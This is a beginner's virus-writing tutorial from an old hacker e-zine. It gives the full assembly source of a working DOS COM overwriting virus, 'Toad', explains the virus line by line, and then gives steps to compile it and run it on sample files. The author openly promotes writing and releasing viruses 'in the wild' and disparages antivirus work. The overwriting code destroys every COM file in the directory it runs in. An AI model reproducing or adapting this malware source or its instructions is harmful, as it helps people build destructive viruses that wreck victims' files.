home *** CD-ROM | disk | FTP | other *** search
- Lesson 1
- The Overwriting Virus
- By
- Horny Toad
-
- I spent many days pondering what would be the best and most effective way to teach a
- beginner how to write virii. I could start off with an in-depth lesson on assembly language, but I
- am sure that it would bore you to tears without having a practical example of what I was talking
- about. I have looked at many of the virus writing tutorials and frankly, I am not pleased with the
- method, the way that they begin a person's adventure on the road to virus creation.
- Dark Angel's guide to virus writing is definitely helpful, but it begins with the
- assumption that you know how to code assembly. He also doesn't touch on the most basic type
- of virus, the COM overwriting virus. This most basic type of virus should be taken advantage of
- due to its very forgiving code structure. It is an easy to understand small virus, therefore allowing
- the beginner to grasp all of the basic structures of an assembly program and still retain a majority
- of the techniques that are used in more advanced creations. However advanced a virus' delivery
- system is or its stealth anti-anti-virus defenses are, it still needs to use the standard read, write,
- and comparing functions.
- I have also taken a glance at many of the other tutorials and magazines that are floating
- around the web and found that they are mainly designed for the intermediate to advanced
- programmer. This is a major gripe that I have today and, in my opinion, a key reason for the
- decline in virus writing advances and individuality. There was a boom in '89 - '91 in the virus
- community. Many firsts were coming out. Code optimization was an issue and major concern.
- The tighter the code, the more efficient the virus. Currently, I am seeing a large number of hacks
- of old virii and not enough new concepts and initiative. My approach to teaching virus writing
- will be to go back and start with the basics. Through a procedural process, the beginner will learn
- assembly by seeing the discussed techniques in an actual application. I will also allow the
- beginner to activate the virii without destroying his system. When I have written a virus, I will
- activate it on my own system. I know the inner workings of the virus so well that I have no fears
- that it will get out of control. That is something that I demand of my previous students in writing
- virii. Before you release a virus out in the wild, make sure that you know what it does, how to
- stop it just in case, and finally, know whether or not it really works. I can't believe how many
- times I have downloaded virus code that doesn't work. Here you have people distributing code
- that has no hope of even compiling! These people are the AV shithead's wet dream; they are
- doing the AV's work for them. They are also allowing others to study your code that doesn't
- work, quite the viscous circle if you think about it. Oh well, enough preaching. I told you to
- slap me if I start to ramble on so much. Let's get on to your first lesson, your first virus!
-
-
-
- Virus #1
-
-
- I hope this doesn't sound confusing, but assembly is both very difficult and very easy to
- understand. If you take the basic concepts one step at a time and see them in action, I am
- confident that you will have no problems. Assembly is very difficult in the fact that it is a very
- unforgiving computer language to learn. I swear that every time I write even the most simple of
- programs, I am always holding my breath while TASM is doing its work. The slightest error in
- your code can be disastrous at compiling time. Assembly programs are also difficult in the fact
- that you are dealing with a low-level language. When I write C++, VBA, and PASCAL
- programs, I use a wide variety of state of the art processing and application software which
- allows easy manipulation, organization, and error correcting of my code. On the other hand,
- when you work with assembly, you get a little more down and dirty and personal with the
- computer. For the most part, the compiling and creation programs for assembly are all DOS
- based, rather than the pretty windows environment that we are usually used to seeing. Assembly
- is easy in the fact that, when used correctly, most code is very structured and organized through
- the use of tight procedures and subroutines. As I will show you in this first lesson, it is very easy
- to identify routines within the program as to what their global function is in its execution.
-
- Here is a listing of the instructional virus that I have written. Keep in mind that no major
- attempts have been made at breaking any world records with this virus, it is purely for
- instructional purposes. We will go through every piece of it so, by the end of the lesson, it will
- look very familiar and be completely understandable. Don't get discouraged when you first see
- this, it will become clear soon enough.
-
-
- code segment
- assume cs:code,ds:code
- org 100h
- toad proc near
-
- first_fly:
- mov ah,4eh
- find_fly:
- xor cx,cx
- lea dx,comsig
- int 21h
- jc wart_growth
-
- open_fly:
- mov ax,3d02h
- mov dx,9eh
- int 21h
-
- eat_fly:
- xchg bx,ax
- mov ah,40h
- mov cx,offset horny - offset first_fly
- lea dx,first_fly
- int 21h
-
- stitch_up:
- mov ah,3eh
- int 21h
- mov ah,4fh
- jmp find_fly
-
- wart_growth:
- mov ah,09h
- mov dx,offset wart
- int 21h
-
- cya: int 20h
-
- comsig db "*.com",0
- wart db 'Congratulations! You have infected all the COM files
- in this ',10,13
- db 'directory with the Toad instructional virus. Have a
- nice day.',10,13,'$'
- horny label near
- toad endp
- code ends
- end first_fly
-
-
-
-
- That's it. Are you still with me? This is the base code that we will be dealing with for our first
- virus. I am going to divide this virus up into separate pieces and we will learn the individual parts
- and what they do for the virus.
-
- Initially, our virii will be using the COM file format. The COM file is an older type of file format
- than the EXE format, but a lot easy to understand and a good place to start off with. A COM file
- is limited in the size that it can take up. It can only be one segment long, or 65,536 bytes. At
- first, when dealing with overwriting virii, this size limitation will not be a concern for us. In
- future lessons, when we start working with appending virii, size limitations will play a big part in
- deciding which files we want to infect or leave alone. The TOAD virus that is in lesson 1 will
- show you the general format of the COM file. When looking at the actual instructions and
- directives, don't worry too much about the actual spaces between words and lines. Try to follow
- the general format of the TOAD virus because I have tried to stay with most of the programming
- conventions in assembly. The more and more code that you read, the better that you will get.
-
-
-
- ========================================================
-
-
- code segment
-
- The segment directive defines the parameters for a segment. In this instance we are defining the
- code segment. All of the executable code, the meat of our program will lie inside of the code
- segment. This segment does not necessarily have to be named "code" segment, but it is only
- logical, and a good programming convention, to name it the "code" segment. If we were dealing
- with a larger program, one that had many procedures of external calls, we would definitely want
- to define a specific segment as our data segment separate from the code. Since this is a very
- small piece of code, the two will be intermixed.
-
-
- ========================================================
-
-
- assume cs:code,ds:code
-
-
- The assume directive lies within the code segment and matches the name that you gave your
- segment, such as code, with associated register. In our program, we are stating that the code and
- data segment registers will be associated with the "code" segment. What does this mean?
- Basically we are still setting up the parameters of our COM file. We are following convention by
- defining where things are in our program and how they are set up. What is the CS and DS
- registers? The code segment register is going to contain the starting address of your programs
- code segment. Essentially, it tells your computer where to begin to look for your executable
- code. Another register that I might as well bring up is the IP or instruction pointer register. The
- job of the IP is to contain the offset address of the next line of code that is to be executed. What
- is an offset address? An offset address is not a true address of a line in your program, rather a
- value of the distance away from a given point. If you put two concepts together, the code
- segment register added to the instruction point register will give you the next executable line in
- your program. The CS will stay constant as the IP counts up the lines of code.
-
-
- ========================================================
-
-
- org 100h
-
- I would like you to commit this to memory - since we are making COM files the org 100h
- directive will always follow the assume directive. This directive is telling the computer that your
- COM file is located ad 100 hex or 256 bytes. This 100 hex distance is actually an offset directly
- after the PSP or program segment prefix (See Appendix 2 for an example of the PSP format).
- The value 100h is placed in the IP, telling the computer where to begin. PSP contains
- information about your program and is created in memory when the program is loaded. In other
- words, the PSP is not a permanent structure that is saved with the program. I am going to end the
- discussion on the PSP for now, due to the fact that we will be referencing it later on in the
- program for information of the host we want our virus to infect.
-
-
- ========================================================
-
-
- toad proc near
-
- Although not actually necessary, I am including a procedure directive to demonstrate good
- programming convention. A procedure is essentially a subroutine within the code segment.
- Larger virii will contain many procedures, which can be called upon to perform a certain task.
- Give the procedure a name and specify it near. When we get into larger programs that deal with
- calling procedures in different segments, we will experiment with the FAR specifier. For now, I
- wanted to include this so you would recognize the directive if you see it again in other code
- examples.
-
-
- ========================================================
-
-
- first_fly:
-
- mov ah,4eh
-
- Now we get to the meat of the program, the actual virus. If you take a look at the virus as a
- whole, you can see that I have labeled different routines throughout the code. Each one of these
- routines has a specific function within the code. The labels should be descriptive as to what they
- accomplish or do. The first on happens to be labeled first_fly. This reminds me that this is the
- routine that finds a file to infect. The label also allows the program to jump to it if you need to
- execute the routine again.
-
- Oh no, the dreaded topic is now with us: registers. What in the world is a register? First I'll
- explain what a register is, and then I will try to put them into an understandable perspective. The
- basic concept of registers is very easy to understand. The aspect that makes registers difficult
- occurs when you think that you are getting a grasp at using them, therefore, we will stick with the
- basics. A register is used to initiate instructions to the computer to execute a desired action. A
- register can be used to address memory and provide basic arithmetic functions. Registers are also
- used for the handling of data input and output. The four general registers that we will be using in
- this virus are AX, BX, CX, and DX (See Appendix 1 for a list of other registers). The
- accumulator register, or AX, is used for input/output operations and arithmetic calculations. BX,
- or the base register is used for calculations and can be used as an index to extend addressing. CX,
- or the count register can also be used for calculations and also as a control counter for loop
- operations. DX is the data register which like AX is used for input/output operations and
- multiplying and dividing operations which use large numbers. Terrific, now what does all of this
- mean? My grandfather had this old antique calculator that weighed about one hundred pounds.
- What you did was push these big old buttons down and pulled a large lever back, which made the
- calculations and printed the answer on a piece of paper. Visualize this: the numbers that you are
- pushing on the calculator are just like setting values in the general registers, as far as input/output
- operations are concerned. With each, you are giving the machine a set of conditions, information
- to process. The big lever on the calculator is like the dos interrupts. Just as you would pull the
- lever to get an answer, the interrupts initiate the computer to process the conditions that you have
- set in the general registers and give appropriate output. This is a very simplistic view of how the
- registers work, but if you at least grasp the concept, you are doing great!
-
- Oh, let's get back on track with this routine. As I said before, the purpose of the get_fly routine is
- to find a file to infect. Actually, the exact output will be to find the first file in the directory that
- has the attributes we want. Therefore, we need to load the conditions into the general registers
- and execute an interrupt. One thing that I failed to mention about the general registers is that they
- are all 16 bit registers with a high and a low portion each 8 bits a piece. AX divides into its
- high/low portions as such: AH for the high portion, and AL for the low portion, each being 8 bits.
- All of the general registers follow the same breakdown: BH - BL, CH - CL, and DH - DL. The
- values that need to be loaded into the general registers for this routine are 4e hex into AH, CX
- needs to be zero in order to set normal file attributes, and finally, DX needs a string containing
- the file specs we are looking for. In order to move the value 4e hex into AH we use the MOV
- command. The MOV command transfers the value of the second operand to the first without
- changing the value of the second operand. In other words, MOV AH, 4eh should read "move the
- value 4e hex into AH".
-
-
- ===========================================================
-
-
-
- find_fly:
- xor cx,cx
-
- The next task that we need to do is zero the value of CX. This can be done two ways. The
- obvious way, which you probably already guessed, would be to MOV CX, 0, which would work.
- As I mentioned before, virus writers need to try to optimize and tighten their code, therefore the
- command that uses the least amount of space should be used. The MOV CX, 0 takes 3 bytes of
- space, while the XOR CX, CX takes only 2 bytes. XOR or "exclusive or" is a logical instruction
- that, when both operands are equal, the first operand is cleared to zero. Anyway, as long as you
- understand the concept, I'm happy.
-
-
- ===========================================================
-
-
- lea dx,comsig
-
- The next thing we need to do is load the string with the file specs we are looking for into DX.
- The file specs that we are looking for are COM files. The string is therefore *.COM. This is a
- wildcard search for any file with the extension ".COM" at the end of it. The string is defined at
- the comsig address in the data segment of our virus. In order to move this string into DX, we
- need to LEA DX, comsig, or <L>oad the <E>ffective <A>ddress of comsig into DX. We could
- also use the MOV command for this operation, which would look like this - MOV DX, offset
- comsig. This essentially does the same thing by loading the offset of the address of comsig into
- DX.
-
-
- ===========================================================
-
-
-
- int 21h
-
- The INT command executes the desired function that you have set up. Avoiding much of the
- detail, the program halts and the interrupt vector table is accessed for the address of your
- specified interrupt. There are 256 possible interrupts, although, if you add all the possibilities
- there are with different register settings, there are hundreds of instructions that can be initiated.
- See Ralf Brown's Interrupt List (address for list is mentioned in article 10 - "Need Further Help")
- for a listing of all the interrupts. As I mentioned before, the interrupt is executing the routine that
- we have specified through the loading of the general registers. Now it is time to process the
- output.
-
-
-
- ===========================================================
-
-
-
- jc wart_growth
-
- Our next instruction will be the conditional jump. Just like it sounds, if certain conditions are
- met, the offset of wart_growth, in this example, is added to the IP and the program continues
- functioning at location wart_growth, which is user defined. There are many conditional jumps
- that exist. Scroll down to Appendix 3 to view examples of the other conditional jumps. There is
- also an unconditional jump, JMP that jumps regardless of existing conditions. The jump
- instruction can be used as a way to skip over data or execute another routine. In this instance we
- perform a check to see if certain conditions exits. Once the interrupt has been completed from the
- previous line, if a program was found, the carry flag is set to zero, if not it is set to one. The JC
- command checks to see if the carry flag is set to one. If so, it jumps to wart_growth and executes
- the command at that offset. If the carry flag is set to zero, signifying that a program was found,
- the jump is ignored and the next line is executed. All right, all right, calm down... I realize you
- are probably saying, "Toad, what the hell is a flag?" Flags will be dealt with in detail in the next
- issue of the magazine, but for now, the flags hold the current status of the computer and the
- processing that has been done. Among many of their uses, flags can be used to save or test
- certain conditions that the computer is currently set at. Understand?
-
-
-
- =============================================================
-
-
-
- open_fly:
- mov ax,3d02h
- mov dx,9eh
- int 21h
-
-
- Ok, assuming that our virus was successful in finding a COM file in the directory, we now need
- to open the file. This is accomplished by an int 21 with the following general register settings:
- First 3d hex needs to be loaded into Alt. AL needs to be loaded with a certain access code. We
- will be using code 02h to open the file in read/write mode. 00h in AL would open it in read only
- and 01h in AL would be write only. Remember that AX is a 16-bit register consisting of two
- portions, AH and AL. We can therefore load both values in at the same time. We do this by
- loading AX with 3d02h. Remember to always use the hex values so that you don't get them
- confused. A common mistake is to execute these simple dos interrupts without putting the "h"
- after int 21. The computer would read this and have a shit fit because you were using a decimal
- value. Stay cool, stay hex. Once AX is taken care of, we move onto DX. DX needs to be loaded
- with the ASCIIZ string, which is the file name of the poor bastard we are about to infect. I can
- hear it now... "What the hell is 9eh, it sure doesn't look like a file name to me?" Relax. 9e hex
- is not a string; rather it is an offset to the address containing the string. 9e hex is located within
- the PSP that we talked about earlier, in an area called the DTA or <D>isk <T>ransfer <A>rea.
- Remember that the PSP starts at 00h. The address for the beginning of the DTA is 80 hex.
- Within the DTA is information on the file that was found in the previous routine. What we need
- is the file name, which is located at offset 1eh from the beginning of the DTA. If we add these
- offsets together, we get 9eh. Load 9e hex into the DX register. We now execute an int 21h to
- execute the routine.
-
-
- ==============================================================
-
-
-
- eat_fly:
- xchg bx,ax
- mov ah,40h
- mov cx,offset horny - offset first_fly
- lea dx,first_fly
- int 21h
-
- The task that we are now dealing with is the actual infection of the opened file. For this we will
- be using int 21h with 40 h loaded in Alt. In the previous routine, when the file was opened, the
- computer assigned the file a unique file handle and placed it in AX. Unfortunately, we need that
- file handle in BX for the write record function. Easy enough...All we do is MOV BX, AX, right?
- Correct, that would work although, we are still worried about optimizing. I would therefore like
- to take the time to introduce a new directive, Xchg or exchange. This command allows us to
- exchange data between two registers, which is exactly what we want to do. We also save 1 byte
- using the xchg rather than the MOV. Every bit (or should I say Byte) counts. CX needs to be
- loaded with the amount of bytes that we want to write. Instead of a numerical amount, we are
- going to cheat and let the computer figure out the distance between offsets of assigned labels. We
- are telling the computer that the amount of the distance from first_fly to horny is the amount of
- bytes we want to write. Finally, DX needs to be loaded with the address of from which we want
- to write. The address of first_fly is loaded into DX. This is the beginning of the code that we
- want written to the infected file. Do the familiar int 21h and the infection is complete.
-
-
- ===========================================================
-
-
-
- stitch_up:
- mov ah,3eh
- int 21h
- mov ah,4fh
- jmp find_fly
-
-
- Now that the file is infected, we need to close up the file with int 21h and 3e hex in AH. Since
- we already put the file handle in BX, we don't have to worry about that. Now our virus will start
- to look for the next file to infect. We load 4f hex in ah and jump back to the rest of the finding
- file routing. You will see that we use the same general register loads for this routine. The entire
- TOAD virus is one big loop. It continues on infecting one file after another until the carry flag is
- set to one, indicating that no further files were found. A message is then displayed and the virus
- terminates.
-
- ===================================================================
-
-
- wart_growth:
- mov ah,9
- mov dx,offset wart
- int 21h
-
- The next routine can actually be deleted and the virus would still work. All that wart_growth
- does is display a message on the screen. This is done by an int 21h with 09h loaded into AH.
- The address of the string, which is defined later in the virus, that we want to display to the screen
- needs to be loaded into DX, which you already know how to do. After the message is displayed
- to the screen, signifying the end of the virus, the next line (cya) is executed.
-
-
- ==================================================================
-
-
-
- cya: int 20h
-
- After the message is displayed, the virus needs to terminate operation. Loading 4CH into AH and
- doing an int 21h does this. You will also see int 20h being used to terminate a program, but this
- is an old obsolete interrupt, although, it still does work. Use either. When using int 20h, no
- registers need to be set.
-
-
- ==================================================================
-
-
- comsig db "*.com",0
-
- wart db 'Congratulations! You have infected all the COM files
- in this',10,13
- db 'directory with the Toad instructional virus. Have a
- nice day.',10,13,'$'
-
- We now get to the easy section of the virus, the data section. This is where we define our data.
- The first thing that we are going to define is comsig. This is my signature of a COM file, the
- wildcard character (*) and the ".com" extension. We use the define byte, of DB, to define a
- string, which is located within parenthesis. The string cannot go past the end of the line. When
- assigning "*.com" to comsig, place a comma and 0 to signify the end of the string. When
- assigning the character string to wart, I have included the 10 and 13 at the end of each line. What
- this does is advance to the next line. If, after the first line, the 10 and 13 were omitted, the two
- strings would run together and print to screen together. The $ at the end of the second line ends
- the string.
-
-
-
- ===================================================================
-
-
- horny label near
-
- Horny is a label within the toad procedure. Its only real purpose is to act as an addressable offset
- for defining the length of virus code to infect the file with. There are a number of other uses for
- the label directive, which we will cover in a later lesson.
-
-
- ===================================================================
-
-
- toad endp
- code ends
- end first_fly
-
- The next three lines essentially close up the virus code. "Toad endp" terminates the toad
- procedure that was initiated with "toad proc near." "Code ends" defines the end of the code
- segment. If I had defined a data segment, I would have ended it with "data ends." The end
- directive marks the end of the virus. First_fly indicates to the computer where to start execution
- of the code, which should be somewhere in the code segment. Sorry for the brevity of the
- description of the final lines, but they really are simple, they are completing, or closing up the
- beginning lines of our virus code.
-
- ================================================================
-
-
- One thing that I might as well mention now is commenting your code. Putting comments in your
- source code helps you to remember what each routing, line, and instruction does. This may not
- be very important when you are dealing with a virus that is under a page long, but when you start
- writing longer more in depth code, you might need little comments implanted here and there to
- remind you what each section does. The symbol that initiates a comment is the semi-colon. If
- you remember the old basic REM statement, everything after the indicator is not executed. In
- fact, the assembler does not even compile the comments, so there is absolutely no reason that you
- shouldn't put in pages of comments. Here is an example:
-
- find_fly:
- xor cx,cx ;zero out value of cx
- lea dx,comsig ;load our com file signature
- int 21h ;do the good ole dos inter
- jc wart_growth ;no more files found/message
-
-
- ================================================================
-
-
- Compiling and Unleashing the Toad Virus
-
- Well, congratulations, you have finished the first lesson in virus writing. My goal at the
- beginning of this tutorial was to introduce you to the most basic type of virus, the overwriting
- virus. Through this introduction, I also wanted to explain some of the basic assembly instructions
- and directives. I feel that I have done both. Understand that you will not be an expert virus
- programmer after reading this text, rather you will have taken your first step on the adventure of
- creating wonderful virii.
-
- The next step for you to do is compile this virus and watch it infect a file. The program that you
- will be using to compile the source code is TASM. TASM is a very awesome compiler. Please,
- do not use MASM. The linker program that you will be using is TLINK, which turns the
- compiler's output into an executable program. It really doesn't matter which editor that you use
- to type the asm file with. You can actually use any word processor that you want. When it
- comes time to compiling the virus, switch to dos and follow the instructions below. I would like
- for you to type the virus out yourself, but I have included a zipped directory, create, that contains
- the coded asm file. In order to compile the virus, save the virus as an ".asm" file. With TASM in
- the same directory, type:
-
- C:\>tasm toad.asm (You can actually do this from any directory that you want)
-
- The result should be:
-
- Turbo Assembler Version 2.01
-
- Assembling file: toad.asm
- Error Messages: none
- Warning Messages: none
- Passes: 1
- Remaining Memory: 418k (or something similar)
-
-
- If there was an error in the code, TASM will indicate it in the error messages line. If you have
- typed the code in yourself and there is an error, revert back to the file "toad.asm" and take a look
- at my code, it works. If there are too many problems with your code and you'd just like to see
- how all this stuff works, switch to the "create" directory and type the above instructions again.
- There is a copy of the "toad.asm" and TASM and TLINK in this directory. What TASM has done
- is convert the ASM file into an OBJ file. In order to get an executable COM file, we need to use
- the linker. Type:
-
- C:\>tlink /t toad.obj
-
- Tlink will return TOAD.COM in the current directory. You now have a virus in front of you.
- Don't get scared, it won't bite. Now you will need to move the virus from the current directory to
- the pond directory. Type:
-
- C:\>copy toad.com c:\pond\
-
- Then type :
-
- C:\>cd ..\pond
-
- This will move you to the pond directory. Now list the contents of the directory by typing:
-
- C:\pond>dir
-
- You will see that there are two files in this directory, TOAD.COM and FLY.COM. TOAD.COM
- is your virus and FLY.COM is the file that you are going to infect. FLY.COM is just a simple
- COM file that does absolutely nothing. Easy prey! Take a note of the size of the two files, 6 and
- 180. Now unleash the virus by typing:
-
- C:\pond>toad
-
- The message that we defined in wart will be displayed. Now list the contents of the directory
- again. You will now see that both of the files are the same size. FLY.COM is now infected.
- Unfortunately, you will now see the downsides of this form of virus; it infects all COM files in
- the current directory regardless of whether or not they have already been infected. In future
- issues of the magazine, I will show you techniques of checking whether a file has already been
- infected. If all your attempts to compile and link the toad virus fail, I have included a compiled
- copy of the toad virus and many fly.com files in the TOAD directory. Change to the TOAD
- directory and type toad. The fly files will become infected.
-
-
-
-
- ===============================================================
-
-
-
-
-
- Appendix 1 - The Registers
-
-
- AX Accumulator
- BX Base register
- CX Counting register
- DX Data register
- DS Data Segment register
- ES Extra Segment register
- SS Stack Segment register
- CS Code Segment register
- BP Base Pointers register
- SI Source Index register
- DI Destiny Index register
- SP Stack Pointer register
- IP Next Instruction Pointer register
- F Flag register
-
-
-
-
-
-
-
-
-
-
- Appendix 2 - The PSP (from Ralf Brown's Interrupt List)
-
- Format of Program Segment Prefix (PSP):
- Offset Size Description (Table 1032)
- 00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination
- the CDh 20h here is often used as a signature for a valid PSP
- 02h WORD segment of first byte beyond memory allocated to program
- 04h BYTE (DOS) unused filler
- (OS/2) count of fake DOS version returns
- 05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h)
- BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh
- 06h WORD CP/M compatibility--size of first segment for .COM files
- 08h 2 BYTEs remainder of FAR JMP at 05h
- 0Ah DWORD stored INT 22 termination address
- 0Eh DWORD stored INT 23 control-Break handler address
- 12h DWORD DOS 1.1+ stored INT 24 critical error handler address
- 16h WORD segment of parent PSP
- 18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed
- 2Ch WORD DOS 2+ segment of environment for process (see #1033)
- 2Eh DWORD DOS 2+ process's SS:SP on entry to last INT 21 call
- 32h WORD DOS 3+ number of entries in JFT (default 20)
- 34h DWORD DOS 3+ pointer to JFT (default PSP:0018h)
- 38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)
- used by SHARE in DOS 3.3
- 3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h)
- Novell DOS 7 DBCS interim flag as set with AX=6301h
- (possibly also used by Far East MS-DOS 3.2-3.3)
- 3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h)
- 3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh
- (OS/2) capabilities flag
- 3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh
- 40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h
- 42h WORD (MSWindows3) selector of next PSP (PDB) in linked list
- Windows keeps a linked list of Windows programs only
- 44h WORD (MSWindows3) "PDB_Partition"
- 46h WORD (MSWindows3) "PDB_NextPDB"
- 48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)
- 49h BYTE unused by DOS versions <= 6.00
- 4Ch WORD (MSWindows3) "PDB_EntryStack"
- 4Eh 2 BYTEs unused by DOS versions <= 6.00
- 50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions)
- 53h 2 BYTEs unused in DOS versions <= 6.00
- 55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB
- into an extended FCB
- 5Ch 16 BYTEs first default FCB, filled in from first commandline argument
- overwrites second FCB if opened
- 6Ch 16 BYTEs second default FCB, filled in from second commandline argument
- overwrites beginning of commandline if opened
- 7Ch 4 BYTEs unused
- 80h 128 BYTEs commandline / default DTA
- command tail is BYTE for length of tail, N BYTEs for the tail,
- followed by a BYTE containing 0Dh
-
-
-
-
-
-
-
-
- Appendix 3 - Examples of various JUMP commands
-
- JA - Jump if Above
- JAE - Jump if Above/Equal
- JB - Jump if Below
- JBE - Jump if Below/Equal
- JC - Jump if Carry
- JE - Jump if Equal
- JG - Jump if Greater
- JGE - Jump if Greater/Equal
- JL - Jump if Less
- JLE - Jump if Less/Equal
- JMP - Jump
- JNA - Jump if Not Above
- JNAE - Jump if Not Above/Equal
-
- There are many other jump commands. In the next edition of the mag, I will include a detailed reference of
- all the jump commands and the flags that are tested. The understanding of how this command works is
- very important.
-
-